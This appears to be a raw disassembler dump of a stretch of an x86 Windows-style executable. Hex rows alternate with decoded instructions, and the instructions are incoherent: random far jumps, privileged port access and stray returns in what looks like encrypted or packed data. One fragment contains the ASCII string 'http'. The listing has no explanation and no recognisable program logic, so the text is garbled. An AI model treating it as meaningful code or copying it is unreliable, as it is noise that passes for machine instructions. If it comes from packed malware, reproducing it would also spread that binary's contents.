:00404FD0 70 08 00 00 84 79 A2 86 23 67 A2                  p....y..#g.

:00404FDB D97FDF                  fnstcw 2byte[edi-21]
:00404FDE FB                      sti
:00404FDF C3                      ret

:00404FE0 7C AF BA                                          |..

:00404FE3 C28781                  ret 8187

:00404FE6 B9 BC 49 78 B6 00 9C 16 AF 2A 47 EA 80 91 5D C9   ..Ix.....*G...].
:00404FF6 A0 F8 5D 6D 29 29 C6 B0 62 AF 19 2B 24 71 8B 14   ..]m))..b..+$q..
:00405006 50 77 CA 6D DE 1C 9C D2 6B 3E CE 75 A2 7E A1 A6   Pw.m....k>.u.~..
:00405016 09 48 6B 58 13 86 31 8C 00 DA E2 7A 88 37 83 07   .HkX..1....z.7..
:00405026 16 7E BE 55 ED 41 6C C4 55 B0 6F 52 E1 07 90 B3   .~.U.Al.U.oR....
:00405036 F0 97 FE 1A 83 97 D0 8C EC 55 8E 71 12 1E A3 A2   .........U.q....
:00405046 3A 42 5C B9 93 B3 A2 9C 24 7C 5D 4C F8 EA 0A 1D   :B\.....$|]L....
:00405056 20 F2 45 CA 7D 09 08 86 30 C5 B2 1A AB 34 D8 1A    .E.}...0....4..
:00405066 DB 0E 87 CE 94 4E C4 DE C7 D4 9D 36 85 EE 16 38   .....N.....6...8
:00405076 DD F0 DC 04 8E 89 2D 46 0E 38 A3 AC 4C 1F 88 46   ......-F.8..L..F
:00405086 60 06 1D 84 AD 49 45 5C 79 F4 0E D5 7B CE D7 A2   `....IE\y...{...

:00405096 C3                      ret

:00405097 C7 60 04 6A 04 AE 6D 0A CF B0 D3 76 FE C7 85 E5   .`.j..m....v....
:004050A7 FB 31 53 B1 A3 F9 55 B7 38 8E A2 60 C6 36 A7 B9   .1S...U.8..`.6..
:004050B7 3A ED 07 5F 28 AA 4E 45 94 14 59 ED BC 42 56 92   :.._(.NE..Y..BV.
:004050C7 7E D1 D9 74 2C DD FB 7A 23 BB 92 19 2B E5 D7 7F   ~..t,..z#...+...
:004050D7 C1 FB 5C BA EE 89 AE 65 A5 97 FE 6E 78 07 A2 8D   ..\....e...nx...
:004050E7 8F 5C 6C 3C 70 DB 65 38 97 90 73 AD CF A4 80 E3   .\l..>...l.g_
:0040529F 3E 8A 54 3B B6 22 51 F2 0E 6A B5 F0 12 77 44 28   >.T;."Q..j...wD(
:004052AF 92 3D C5 82 BE 36 E1 DE 30 8E 32 3E 20 70 66 2C   .=...6..0.2> pf,
:004052BF 9B A5 6E DE ED 69 DA B6 DA 51 F9 9D 0D E0 AF 7B   ..n..i...Q.....{
:004052CF CF 08 17 94 E7 AF 13 7F 0A B7 08 1C CF E6 D5 DA   ................
:004052DF 3A 88 7B 28 54 43 81 6C 18 E2 96 16 DD D8 6A 97   :.{(TC.l......j.
:004052EF FA AD 89 30 00 53 F9 3E 19 96 65 3C FD 08 D5 3F   ...0.S.>..e<...?
:004052FF 71 0C 12 87 AA F2 C0 BE 32 78 A1 78 71 B2 17 14   q.......2x.xq...
:0040530F E3 B8 26 FE E8 39 92 FD FA 8B 4A 3C 8F FD 76 38   ..&..9....J<..v8
:0040531F D6 26 1C 82 16 41 7E D4 5B 3F 4B BD 62 53 BC 73   .&...A~.[?K.bS.s
:0040532F E4 E7 E8 56 F3 E0 D3 50 36 82 87 FF DF E0 65 5B   ...V...P6.....e[
:0040533F 42 DE 29 D8 62 D4 83 32 7B 70 82 C0 32 0E 57 6C   B.).b..2{p..2.Wl
:0040534F B7 42 D3 B5 40 FE 69 7D 7C C5 34 1A F4 16 17 30   .B..@.i}|.4....0
:0040535F 71 26 E1 CB A0 DC 82 17 56 B3                     q&......V.

:00405369 C3                      ret

:0040536A AB 42 14 A0 99 07 41 9B 82 94 A0 D1 37 71 F2 3D   .B....A.....7q.=
:0040537A 72 90 6F 81 34 99 6C 72 06 0F F2 C0 8D B7 B3 91   r.o.4.lr........
:0040538A 7F 6D 07 AF 3F 2D 1E F9 DA C0 E0 92 B0 09 90 65   .m..?-.........e
:0040539A 20 91 8D 51 0E FD 8B 8E 02 24 F3 94 B1 69 E6 3C    ..Q.....$...i.<
:004053AA 49 64 B5 D2 09 55 F1 3C 77 85 E7 14 98 DB 5C 9C   Id...U..'..b...R
:0040540A F1 0B 9A A4 4E 6C DF A6 AC 1D C5 A1 DF D5 99 9B   ....Nl..........
:0040541A 67 CA C8 EB 0E 10 71 73 32 84 D0 CE 69 93 86 57   g.....qs2...i..W
:0040542A 98 EE E8 31 C6 47 78 9E D2 D0 D7 C9 8B 8A BB F5   ...1.Gx.........
:0040543A 2E 82 79 80 80 15 66 D3 E1 99 EB 09 91 99 7F CD   ..y...f.........
:0040544A DC 54 52 58 B1                                    .TRX.

:0040544F BAD690EE23              mov edx, 23EE90D6
:00405454 92                      xchg eax, edx
:00405455 56                      push esi
:00405456 C185D0EAE5A384          rol dword[ebp+A3E5EAD0], -7C
:0040545D D833                    fdiv 32real[ebx]
:0040545F A115DB94EE              mov eax, dword[EE94DB15]
:00405464 9E                      sahf
:00405465 114ABF                  adc dword[edx-41], ecx
:00405468 04B5                    add al, -4B
:0040546A D9D0                    fnop
:0040546C 5B                      pop ebx
:0040546D F8                      clc
:0040546E FD                      std
:0040546F 0D51E33370              or eax, 7033E351
:00405474 39C5                    cmp ebp, eax
:00405476 5B                      pop ebx
:00405477 758A                    jne 00405403
:00405479 2B5A55                  sub ebx, dword[edx+55]
:0040547C B13C                    mov cl, 3C
:0040547E 17                      pop ss
:0040547F C43B                    les es:edi, m16:m32[ebx]
:00405481 CB                      ret(far)

:00405482 91 26 23 B5 14 BE A7 DE 10 6C 4F BA 5B 10 35 E9   .&#......lO.[.5.
:00405492 E3 22 D0 1B E6 E0 25 F5 39 43 AB 4B 28 85 D1 FB   ."....%.9C.K(...
:004054A2 57 C6 00 0F 86 2E 01 CA BF A6 1D 02 1E 53 C0 FE   W............S..
:004054B2 A8 36 B2 38 87 7B 3A 26 72 51 BE B8 B0 A2 2A F6   .6.8.{:&rQ....*.
:004054C2 47 88 94 72 35 08 26 69 3E 5C 36 3B 7E E0 CC 89   G..r5.&i>\6;~...
:004054D2 90 94 F8 3B C6 A7 A5 E6 C2 00 B8 4C 72 1C 72 66   ...;.......Lr.rf
:004054E2 14 09 C4 1D B8 2C EB F5 6F 32 F0 0D D4 D0 AF 37   .....,..o2.....7
:004054F2 7C 23 D0 01 AF E1 4C AA 58 8C 73 F9 5B 31 B8 1F   |#....L.X.s.[1..
:00405502 35 A0 E5 50 EC C9 6C 2E 2E CC EB DA 17 39 59 7F   5..P..l......9Y.
:00405512 F8 FE 47 5D 64 BB B3 4C E0 16 AE 8F A1 8D 42 51   ..G]d..L......BQ
:00405522 D4 F2 5C 31 42 48 EA A8 EB E4 E9 67 3D 9F 34 AA   ..\1BH.....g=.4.
:00405532 FF 99 0F 84 F7 84 C4 DC 0D CD 7C 03 27 E1 80 FE   ..........|.'...
:00405542 56 5E A4 0C A6 23 11 B6 8D 53 28 B6 6D 97 B8 BB   V^...#...S(.m...
:00405552 E2 39 F6 26 AF 42 13 55 64 CF 62 95 A2 16 1B 4C   .9.&.B.Ud.b....L
:00405562 69                                                i

:00405563 7DFD                    jge 00405562
:00405565 6661                    popad
:00405567 9D                      popfd
:00405568 C59F788F2284            lds es:ebx, m16:m32[edi+84228F78]
:0040556E 60                      pushad
:0040556F 50                      push eax
:00405570 C24DC3                  ret C34D

:00405573 08 29 7B 7D 95 BB 87 15 AF 35 9C 71 5B 67 B9 47   .){}.....5.q[g.G
:00405583 39 8A A8 0C CF 52 57 C4 AB C5 A9 37 3C 2E F2 E2   9....RW....7<...
:00405593 FB 41 57 90 46 3A B8 C1 9A D3 E5 58 00 2D 79 07   .AW.F:.....X.-y.
:004055A3 7E 6B 39 AF 53 00 25 BB 9E 5C A7 FD 53 C1 A4 75   ~k9.S.%..\..S..u
:004055B3 31 74 D1 09 90 9C E9 0E 00 AE 91 36 63 EF 94 25   1t.........6c..%
:004055C3 1A 7D 15 E1 FA 1E E9 BE 50 4E 95 E5 15 25 6D A1   .}......PN...%m.
:004055D3 75 D5 5B 2F 02 72 1F 53 75 AA 70 B7 9C CD F9 31   u.[/.r.Su.p....1
:004055E3 34 FF 94 24 68 41 0C FD AA FD DC E9 92 FE 79 2B   4..$hA........y+

:004055F3 7D4D                    jge 00405642
:004055F5 0C7E                    or al, 7E
:004055F7 8408                    test byte[eax], cl
:004055F9 244B                    and al, 4B
:004055FB 32C0                    xor al, al
:004055FD 2D909F32CB              sub eax, CB329F90
:00405602 6A6E                    push 0000006E
:00405604 3D19915739              cmp eax, 39579119
:00405609 239E6C66ACB1            and ebx, dword[esi+B1AC666C]
:0040560F C8CD9790                enter 97CD, -70
:00405613 E1A8                    loope 004055BD
:00405615 56                      push esi
:00405616 B033                    mov al, 33
:00405618 EE                      out port[dx], al
:00405619 49                      dec ecx
:0040561A FD                      std
:0040561B BB63FAD97A              mov ebx, 7AD9FA63
:00405620 28EE                    sub dh, ch
:00405622 5C                      pop esp
:00405623 FB                      sti
:00405624 89540497                mov dword[esp+eax-69], edx
:00405628 9F                      lahf
:00405629 EA70CD342E5DF6          jmp far CD70:F65D2E34

:00405630 97 3F 48 2A 59 10 38 6A 5D 77 0C 2A 71 B7 5A A7   .?H*Y.8j]w.*q.Z.
:00405640 80 C0 DC 2A 98 38 D3 56 B5 42 B8 09 B7 31 EA C4   ...*.8.V.B...1..
:00405650 8A 54 1C 40 0E 9A 02 AF 59 BC 05 15 95 4B 1D 8F   .T.@....Y....K..
:00405660 43 D4 F0 D9 5F 1E 88 EE FD 8A E0 05 1E 8D 13 09   C..._...........
:00405670 AD 51 03 59 E8 DC 4E F2 01 95 63 72 D4 69 9F 7E   .Q.Y..N...cr.i.~
:00405680 34 10 77 CE DB 18 84 3F 31 BC CC B1 F1 AA D7 2B   4.w....?1......+
:00405690 72 AA 77 23 31 C9 2A 81 C7 1A F4 82 EB 4E 9C 0C   r.w#1.*......N..
:004056A0 68 74 74 70 02 00 00 00 30 05 00 00 0E 7F F8 82   http....0.......
:004056B0 67 5A CE D6 54 0B 1C A2 CB E8 F9                  gZ..T......

:004056BB D9F7                    fincstp
:004056BD F5                      cmc
:004056BE B80C6E7CAE              mov eax, AE7C6E0C
:004056C3 50                      push eax
:004056C4 A841                    test al, 41
:004056C6 1A617E                  sbb ah, byte[ecx+7E]
:004056C9 AC                      lodsb
:004056CA 2CA7                    sub al, -59
:004056CC 58                      pop eax
:004056CD 50                      push eax
:004056CE DFE8                    fucomip st(0), st(0)
:004056D0 4D                      dec ebp
:004056D1 31D9                    xor ecx, ebx
:004056D3 0549A95291              add eax, 9152A949
:004056D8 BA406B828D              mov edx, 8D826B40
:004056DD 57                      push edi
:004056DE CE                      into
:004056DF 14C6                    adc al, -3A
:004056E1 ED                      in eax, port[dx]
:004056E2 774A                    ja 0040572E
:004056E4 0E                      push cs
:004056E5 36327D0E                xor bh, byte ss:[ebp+0E]
:004056E9 37                      aaa
:004056EA CB                      ret(far)

:004056EB 5F 9C 5F D0 0A 28 E4 D7 57 00 E9 5C BC 67 A0 73   _._..(..W..\.g.s
:004056FB 11 5A 55 E6 3B 7E 98 0F 30 62 BC EE 04 87 B1 80   .ZU.;~..0b......
:0040570B 9D A2 5C A3 4C FD 15 FA 8F 62 C4 F4 BF 8F 60 BA   ..\.L....b....`.
:0040571B BB C4 1C 35 A2 C6 4F F9 18 B9 EE C0 74 D1 C9 30   ...5..O.....t..0
:0040572B 46 DB 49 2F 12 F9 D0 28 45 96 9A 89 C1 1E C9 E5   F.I/...(E.......
:0040573B A4 59 C4 3C 1D EC B6 D1 BF 7D 94 2C 87 9F F7 BE   .Y.<.....}.,....
:0040574B A8 E4 1E 06 7D BD 63 CA 9E A6 49 6D 34 D5 B7      ....}.c...Im4..

:0040575A C21225                  ret 2512

:0040575D C6 75 BE 3D F3 E6 3E 87 B2 78 76 07 CC 7D CD EE   .u.=..>..xv..}..
:0040576D CB A3 7C F6 68 D9 8C A1 65 1A 34 FA FB 75 BE 7C   ..|.h...e.4..u.|
:0040577D 6F 5A 04 C8 14 32 2E 81 EF DF 78 AD FF 37 4F FC   oZ...2....x..7O.
:0040578D 3D 3A 3B F5 DD A1 9F 8F 2D 67 C7 9E AC 7F E1 DA   =:;.....-g......
:0040579D 9A 35 A5 CA E5 A0 4F A9 64 02 3F CC ED 8C F1 8C   .5....O.d.?.....
:004057AD 04 9C 2A C9 34 A4 9B 56 9E 41 47 63 C0 19 8B 13   ..*.4..V.AGc....
:004057BD E7 47 E7 63 15 DE 89 77 81 C5 51 4E B4 64 9C 69   .G.c...w..QN.d.i
:004057CD C9 5B 83 95 01 DA BA 48 2C C1 46 C5 D5 FC CE 12   .[.....H,.F.....
:004057DD DC 08 31 7F DF 48 B3 66 16 46 63 0B 2F 30 26 9D   ..1..H.f.Fc./0&.
:004057ED 4A 3E B5 3B FE ED BF 0A 90 D3 E8 24 24 05 E1 FA   J>.;.......$$...
:004057FD 08 25 7F 17 47 1E 68 D1 11 1B 1E F9 42 1A 9C 52   .%..G.h.....B..R
:0040580D 72 43 D9 79 7B 12 24 75 D3 77 81 37 C1 2C 54 C9   rC.y{.$u.w.7.,T.
:0040581D 26 47 40 2F 2D E2 39 5E F4 34 3F 5F 90 65 4B 7E   &G@/-.9^.4?_.eK~
:0040582D B8 9E 2F C0 AD AF 9F 96 94 F4 91 6B F9 32 6A 94   ../........k.2j.
:0040583D B1 EB 53 F1 2F F0 A8 61 FA CE FA FF 8D 6A B5 18   ..S./..a.....j..
:0040584D 2F 82                                             /.

:0040584F 57                      push edi
:00405850 56                      push esi
:00405851 90                      nop
:00405852 A3424A3B9B              mov dword[9B3B4A42], eax
:00405857 CE                      into
:00405858 07                      pop es
---------
:00405859 B70E                    mov bh, 0E
:0040585B AF                      scasd
:0040585C FB                      sti
:0040585D E5A9                    in eax, port[-57]
:0040585F F3AF                    repe scasd
:00405861 A3ED20EBD8              mov dword[D8EB20ED], eax
:00405866 78F1                    js 00405859
:00405868 FB                      sti
:00405869 F8                      clc
:0040586A D3E0                    shl eax, cl
:0040586C 4C                      dec esp
:0040586D 1C54                    sbb al, 54
:0040586F 2195ACDC1135            and dword[ebp+3511DCAC], edx
:00405875 9C                      pushfd
:00405876 9B                      wait
:00405877 8D25E16E0003            lea esp, dword[03006EE1]
:0040587D 114313                  adc dword[ebx+13], eax
:00405880 F4                      hlt
:00405881 3006                    xor byte[esi], al
:00405883 1414                    adc al, 14
:00405885 1E                      push ds
:00405886 0A0A                    or cl, byte[edx]
:00405888 7706                    ja 00405890
:0040588A 1E                      push ds
:0040588B 56                      push esi
:0040588C 16                      push ss
:0040588D 26AE                    scasb
:0040588F 5E                      pop esi
---------
:00405890 6B16D9                  imul edx, dword[esi], -27
:00405893 7422                    je 004058B7
:00405895 24F7                    and al, -09
:00405897 CD19                    int 19
:00405899 41                      inc ecx
:0040589A 90                      nop
:0040589B 2A497F                  sub cl, byte[ecx+7F]
:0040589E F6D0                    not al
:004058A0 3E44                    inc esp
:004058A2 1CF1                    sbb al, -0F
:004058A4 1DD5292877              sbb eax, 772829D5
:004058A9 051671AD05              add eax, 05AD7116
:004058AE 98                      cbw
:004058AF 58                      pop eax
:004058B0 B4DF                    mov ah, -21
:004058B2 E554                    in eax, port[54]
:004058B4 D16868                  shr dword[eax+68], 1
---------
:004058B7 5B                      pop ebx
:004058B8 AC                      lodsb
:004058B9 51                      push ecx
:004058BA 0BA69F6252B4            or esp, dword[esi+B452629F]
:004058C0 86A2BFB66059            xchg byte[edx+5960B6BF], ah
:004058C6 19EF                    sbb edi, ebp
:004058C8 CF                      iretd
:004058C9 83C91C                  or ecx, 0000001C
:004058CC D3FB                    sar ebx, cl
:004058CE 317257                  xor dword[edx+57], esi
:004058D1 7BBD                    jpo 00405890
:004058D3 2002                    and byte[edx], al
:004058D5 2DF2401DFE              sub eax, FE1D40F2
:004058DA C3                      ret

:004058DB 41 E6 B8 95 3B 96 71 12 B5 48 FA EB 18 82 36 F6   A...;.q..H....6.
:004058EB 0F 96 5C 99 41 07 A6 05 AC 7B BE 95 79 60 A7 D9   ..\.A....{..y`..
:004058FB D4 47 DD 85 90 40 98 3E 1B CB C5 A1 3D B5 36 36   .G...@.>....=.66
:0040590B 93 EC 90 7A E4 C7 5A AA 3A 9E DF 23 39 1A 9B 14   ...z..Z.:..#9...
:0040591B 84 A6 5F 17 7B 4B D7 52 7A 94 CE EF DA 57 71 FD   .._.{K.Rz....Wq.
:0040592B 34 7A 1E C0 B7 78 28 02 32 5E F4 AD E9 71 40 E2   4z...x(.2^...q@.
:0040593B 02 F4 72 8F DE CF 00                              ..r....

:00405942 B8817157AB              mov eax, AB577181
:00405947 D43E                    aam 
:00405949 9A0C86D1CEE256          call far 860C:56E2CED1
:00405950 F9                      stc
:00405951 B3B7                    mov bl, -49
:00405953 55                      push ebp
:00405954 44                      inc esp
:00405955 6E                      outs port[dx], byte
:00405956 06                      push es
:00405957 D00C3C                  ror byte[esp+edi], 1
:0040595A 1F                      pop ds
:0040595B 50                      push eax
:0040595C 08983C9DE66D            or byte[eax+6DE69D3C], bl
:00405962 F7504D                  not dword[eax+4D]
:00405965 41                      inc ecx
:00405966 BE3D725D68              mov esi, 685D723D
:0040596B 46                      inc esi
:0040596C 254A91D172              and eax, 72D1914A
:00405971 832C5A1A                sub dword[edx+2*ebx], 0000001A
:00405975 86B04562357F            xchg byte[eax+7F356245], dh
:0040597B EA57C09677A220          jmp far C057:20A27796

:00405982 BE 63 B7 77 60 1B 7C EB A1 EF 67 0C CA 8E 6E 13   .c.w`.|...g...n.
:00405992 58 F7 C0 BC 82 4E 80 E5 E6 0A 1F BA DA 39 50 88   X....N.......9P.
:004059A2 F6 E5 88 0B 81 5C D3 6F C4 F4 51 D8 03 5D 42 36   .....\.o..Q..]B6
:004059B2 5C C5 59 14 66 32 CE FB 4B B0 24 4D 5E 0C F5 AE   \.Y.f2..K.$M^...
:004059C2 91 B9 67 7B 6D F2 52 50 3F 93 1F 1E 3B 0E 16 C7   ..g{m.RP?...;...
:004059D2 C1 B4 26 E6 5F 82 99 29 01 9B 9E A4 5C 4E D6 F1   ..&._..)....\N..
:004059E2 30 3E 8F E7 CD 94 C5 D5 2E DA CB 54 58 FC B0 BE   0>.........TX...
:004059F2 2C A4 CD 10 52 EA 0F E9 1C A7 0D 7E DB F2 0B      ,...R......~...

---------
:00405A01 64CAD3C8                ret C8D3

:00405A05 A5 7A AA D3                                       .z..

:00405A09 B32F                    mov bl, 2F
:00405A0B F9                      stc
:00405A0C 0AA1C20EC4C9            or ah, byte[ecx+C9C40EC2]
:00405A12 FA                      cli
:00405A13 7BEC                    jpo 00405A01
:00405A15 3A68B6                  cmp ch, byte[eax-4A]
:00405A18 6C                      ins byte, port[dx]
:00405A19 7258                    jc 00405A73
:00405A1B B97FDC4525              mov ecx, 2545DC7F
:00405A20 E4CC                    in al, port[-34]
:00405A22 AE                      scasb
:00405A23 4A                      dec edx
:00405A24 FFA572F4D550            jmp dword[ebp+50D5F472]

:00405A2A 10 F9 2B 80 9E 23 A2 9E 45 0B 2C 15 90 5D 5C 03   ..+..#..E.,..]\.
:00405A3A C6 10 6B B6 EE 1A 3F 6F 7D 3F F3 76 16 7B 51 E9   ..k...?o}?.v.{Q.
:00405A4A CA EC 72 9D 4E 53 C0 13 42 5B B4 65 92 E7 E4 0B   ..r.NS..B[.e....
:00405A5A 12 12 8D 5F AF 1B C1 BC 02 C5 C0 0F A9 D4 61 7D   ..._..........a}
:00405A6A 9C 48 D8 CE 41 B8 7B 44                           .H..A.{D

:00405A72 BD28A9B4A4              mov ebp, A4B4A928
:00405A77 8422                    test byte[edx], ah
:00405A79 C2B817                  ret 17B8

:00405A7C 83FFF2                  cmp edi, -0000000E
:00405A7F 0000                    add byte[eax], al
:00405A81 0C8D                    or al, -73
:00405A83 43                      inc ebx
:00405A84 B7C4                    mov bh, -3C
:00405A86 44                      inc esp
:00405A87 43                      inc ebx
:00405A88 A0B332B1F4              mov al, byte[F4B132B3]
:00405A8D 5D                      pop ebp
:00405A8E 1A19                    sbb bl, byte[ecx]
:00405A90 52                      push edx
:00405A91 63BB41337299            arpl word[ebx+99723341], di
:00405A97 A9218D79F1              test eax, F1798D21
:00405A9C 8433                    test byte[ebx], dh
:00405A9E D3D9                    rcr ecx, cl
:00405AA0 A7                      cmpsd
:00405AA1 95                      xchg eax, ebp
:00405AA2 D84942                  fmul 32real[ecx+42]
:00405AA5 C3                      ret

:00405AA6 B895FD1F7D              mov eax, 7D1FFD95
:00405AAB 99                      cdq
:00405AAC 2A1CD5FCB9F6D4          sub bl, byte[8*edx+D4F6B9FC]
:00405AB3 E140                    loope 00405AF5
:00405AB5 91                      xchg eax, ecx
:00405AB6 58                      pop eax
:00405AB7 6342B6                  arpl word[edx-4A], ax
:00405ABA EF                      out port[dx], eax
:00405ABB C3                      ret

:00405ABC 7F CA 27 83 57 3B C7 79 52 4D 0E 95 2F 38 6C AE   ..'.W;.yRM../8l.
:00405ACC 23 BE 60 54 60 CF D0 A9 88 BB 05 63 5C 39 42 91   #.`T`......c\9B.
:00405ADC 95 AE 34 03 FB 4B 0F 08 89 4B 7F 05 B7 8E 61 DD   ..4..K...K....a.
:00405AEC 8B 5F CD 9E E7 9F 8C B3 D3 69 8C 43 F7 BF 1D 85   ._.......i.C....
:00405AFC 61 49 A8 83 33 BF A3 20 FB 9E 7B 0C 23 B2 A1 92   aI..3.. ..{.#...
:00405B0C 44 E7 67 4A E8 2E 7D 11 23 BA FA E3 5A 45 1F 5E   D.gJ..}.#...ZE.^
:00405B1C 0E 53 72 36 1A                                    .Sr6.

:00405B21 A9902B42CD              test eax, CD422B90
:00405B26 5E                      pop esi
:00405B27 C2CCB4                  ret B4CC

:00405B2A 96 2B AB E9 4B FD                                 .+..K.

:00405B30 F652C6                  not byte[edx-3A]
:00405B33 AF                      scasd
---------
:00405B34 4C                      dec esp
:00405B35 DBD1                    fcmovnbe st(0), st(1)
:00405B37 FD                      std
:00405B38 78FA                    js 00405B34
:00405B3A 2924F2                  sub dword[edx+8*esi], esp
:00405B3D 50                      push eax
:00405B3E C2C161                  ret 61C1

:00405B41 AA 01 C5 CD FD 32                                 .....2

:00405B47 C2F760                  ret 60F7

:00405B4A EF 97 45 F2 72 FA C4 52 B3 67 76 54 46 43 08 41   ..E.r..R.gvTFC.A
:00405B5A 73 6E E6 46 3F 36 C7 58 62 E9 B7 4F 6C 09 52 FD   sn.F?6.Xb..Ol.R.
:00405B6A F3 4D A9 F2 57 8E 54 17 78 49 2F 78 5A 55 A9 31   .M..W.T.xI/xZU.1
:00405B7A EF ED 74 BB 09 B9 1E 78 BD 9E 6F 43 DA D1 4E 00   ..t....x..oC..N.
:00405B8A 75 D9 6F A1 02 43 89 90 30 A4 F6 B9 F0 54 09 D6   u.o..C..0....T..
:00405B9A 82 B3 A1 81 CB 80 25 AC 5C 17 1A F1 EA 98 0D 04   ......%.\.......
:00405BAA 1F A8 D9 28 35 DB 97 8C E6 E6 C8 4C 95 D4 37 40   ...(5......L..7@
:00405BBA 8C ED 55 25 AC 61 B9 09 65 9F 76 47 D0 39 4D 04   ..U%.a..e.vG.9M.
:00405BCA F4 3D C1 E1 56 E2 EC F5 9E 4E D0 35 7C 80 EA 12   .=..V....N.5|...
:00405BDA 5E 82 F4 87 3F D9 1D 76 BA 11 DA 01 35 5C 3B 8E   ^...?..v....5\;.
:00405BEA 18 50 4D CC 28 4B 00 01 69 78 AD 8E 0F E9 58 02   .PM.(K..ix....X.
:00405BFA B1 57 CF 15 FC 62                                 .W...b

:00405C00 C2E077                  ret 77E0

:00405C03 89 76 A0 9A 77 F9 F5 8D FD D4 7C E7 B0 BD C7 68   .v..w.....|....h
:00405C13 EA 77 1F F7 5D 11 E9 70 DE D4                     .w..]..p..

:00405C1D 52                      push edx
:00405C1E 76C4                    jbe 00405BE4
:00405C20 43                      inc ebx
:00405C21 BDCF1031F2              mov ebp, F23110CF
:00405C26 44                      inc esp
:00405C27 F9                      stc
:00405C28 5F                      pop edi
:00405C29 A4                      movsb
:00405C2A 74DD                    je 00405C09
:00405C2C 63E3                    arpl bx, sp
:00405C2E 19E7                    sbb edi, esp
:00405C30 59                      pop ecx
:00405C31 9AE2B9F9210D0D          call far B9E2:0D0D21F9
:00405C38 2CC6                    sub al, -3A
:00405C3A B82D42A644              mov eax, 44A6422D
:00405C3F 40                      inc eax
:00405C40 A4                      movsb
:00405C41 55                      push ebp
:00405C42 A5                      movsd
:00405C43 E7B8                    out port[-48], eax
:00405C45 5F                      pop edi
:00405C46 97                      xchg eax, edi
---------
:00405C47 5D                      pop ebp
:00405C48 7C83                    jl 00405BCD
:00405C4A 17                      pop ss
:00405C4B C2D961                  ret 61D9

:00405C4E 97 1A FB 89 53 D2 20 14 86 0D 1B 53 5C 9C D4 A2   ....S. ....S\...
:00405C5E 79 D9 97 B5 1B 53 F4 76 E0                        y....S.v.

---------
:00405C67 CC                      int 03
:00405C68 51                      push ecx
:00405C69 9A2E064343159E          call far 062E:9E154343
:00405C70 F73469                  div dword[ecx+2*ebp]
:00405C73 C4A426D8847E9F          les es:esp, m16:m32[esi+9F7E84D8]
:00405C7A 9F                      lahf
:00405C7B CB                      ret(far)

:00405C7C 76 1E 6C 17 EE BE 51 96 97 DD A5 0D 8E 16 E0 E7   v.l...Q.........
:00405C8C 45 A3 38 82 EA 22 65 DF 88 71 66 EF BB 1F         E.8.."e..qf...

:00405C9A 3DDEB7D87F              cmp eax, 7FD8B7DE
:00405C9F 7EC6                    jle 00405C67
:00405CA1 8B9F38BEC95A            mov ebx, dword[edi+5AC9BE38]
:00405CA7 107058                  adc byte[eax+58], dh
:00405CAA 55                      push ebp
:00405CAB 261857C8                sbb byte es:[edi-38], dl
:00405CAF 91                      xchg eax, ecx
:00405CB0 DE5257                  ficom 16int[edx+57]
:00405CB3 9E                      sahf
:00405CB4 A4                      movsb
:00405CB5 E37A                    jecxz 00405D31
:00405CB7 0430                    add al, 30
:00405CB9 238CFFF5F695CE          and ecx, dword[edi+8*edi+CE95F6F5]
:00405CC0 0048A8                  add byte[eax-58], cl
:00405CC3 D3149D1A008520          rcl dword[4*ebx+2085001A], cl
:00405CCA 2CD9                    sub al, -27
:00405CCC B99C24A79E              mov ecx, 9EA7249C
:00405CD1 02C0                    add al, al
:00405CD3 CE                      into
:00405CD4 16                      push ss
:00405CD5 41                      inc ecx
:00405CD6 AA                      stosb
:00405CD7 53                      push ebx
:00405CD8 4B                      dec ebx
:00405CD9 AA                      stosb
:00405CDA 61                      popad
:00405CDB 68010720C9              push C9200701
:00405CE0 9E                      sahf
:00405CE1 2DCADD2E1D              sub eax, 1D2EDDCA
:00405CE6 50                      push eax
:00405CE7 346B                    xor al, 6B
:00405CE9 CA8997                  ret 9789

:00405CEC D8 43 BA B3 D8 E7 D4 3A EC 65 D5 9B 5C 6E B4 38   .C.....:.e..\n.8
:00405CFC 0A 91 71 EC 04 00 62 D4 8B E0 DC E4 D2 52 16 C8   ..q...b......R..
:00405D0C C7 02 BB D2 F5 56 13 9F 77 4A 67 87 9A 98 A8 0A   .....V..wJg.....
:00405D1C 94 49 2B B6 01 C4 03 6A 9C 43 4E 75 5E B2 B7 5B   .I+....j.CNu^..[
:00405D2C CE 02 7A D1 86 4E 7D E5 C8 E0 0B F2 7A 2A A5 10   ..z..N}.....z*..
:00405D3C 6C 7A 39 97 D3 D8 08 45 BB DC 03 3A 51 CB C8 75   lz9....E...:Q..u
:00405D4C BB 5E EF 2F A8 BD FD 44 55 63 71 99 DA 7E D3 4A   .^./...DUcq..~.J
:00405D5C E8 20                                             . 

:00405D5E 846964                  test byte[ecx+64], ch
:00405D61 F9                      stc
:00405D62 93                      xchg eax, ebx
:00405D63 07                      pop es
---------
:00405D64 5F                      pop edi
:00405D65 CE                      into
:00405D66 7C8D                    jl 00405CF5
:00405D68 6B11C7                  imul edx, dword[ecx], -39
:00405D6B FD                      std
:00405D6C 6F                      outs port[dx], dword
:00405D6D D5D5                    aad 
:00405D6F 09B7FE6E7ABE            or dword[edi+BE7A6EFE], esi
:00405D75 15A00D80CA              adc eax, CA800DA0
:00405D7A 64024943                add cl, byte fs:[ecx+43]
:00405D7E 3330                    xor esi, dword[eax]
:00405D80 A9C2CF72F3              test eax, F372CFC2
:00405D85 F9                      stc
:00405D86 BA0A369E3F              mov edx, 3F9E360A
:00405D8B 41                      inc ecx
:00405D8C B82223D649              mov eax, 49D62322
:00405D91 154F0E2E47              adc eax, 472E0E4F
:00405D96 0A24A7                  or ah, byte[edi+4*esp]
:00405D99 050414A98E              add eax, 8EA91404
:00405D9E 57                      push edi
:00405D9F 75A8                    jne 00405D49
:00405DA1 0B541DB0                or edx, dword[ebp+ebx-50]
:00405DA5 6F                      outs port[dx], dword
:00405DA6 8B7D6F                  mov edi, dword[ebp+6F]
:00405DA9 200C35A2ADD608          and byte[esi+08D6ADA2], cl
:00405DB0 7724                    ja 00405DD6
:00405DB2 56                      push esi
:00405DB3 2937                    sub dword[edi], esi
:00405DB5 AA                      stosb
:00405DB6 31A6BFD59BA1            xor dword[esi+A19BD5BF], esp
:00405DBC 1E                      push ds
:00405DBD 206ABE                  and byte[edx-42], ch
:00405DC0 EA4BFA94864B08          jmp far FA4B:084B8694

:00405DC7 13 54 AC 0D 50 BD 8E FA 3E 8E 99 57 A3 3C 01 65   .T..P...>..W.<.e
:00405DD7 07 10 23 5A BA F7 76 94 A6 FC 35 89 C9 0D DC 10   ..#Z..v...5.....
:00405DE7 B5 90 34 A7 54 7A 8A 47 0A 47 85 54 A3 B5 40 A4   ..4.Tz.G.G.T..@.
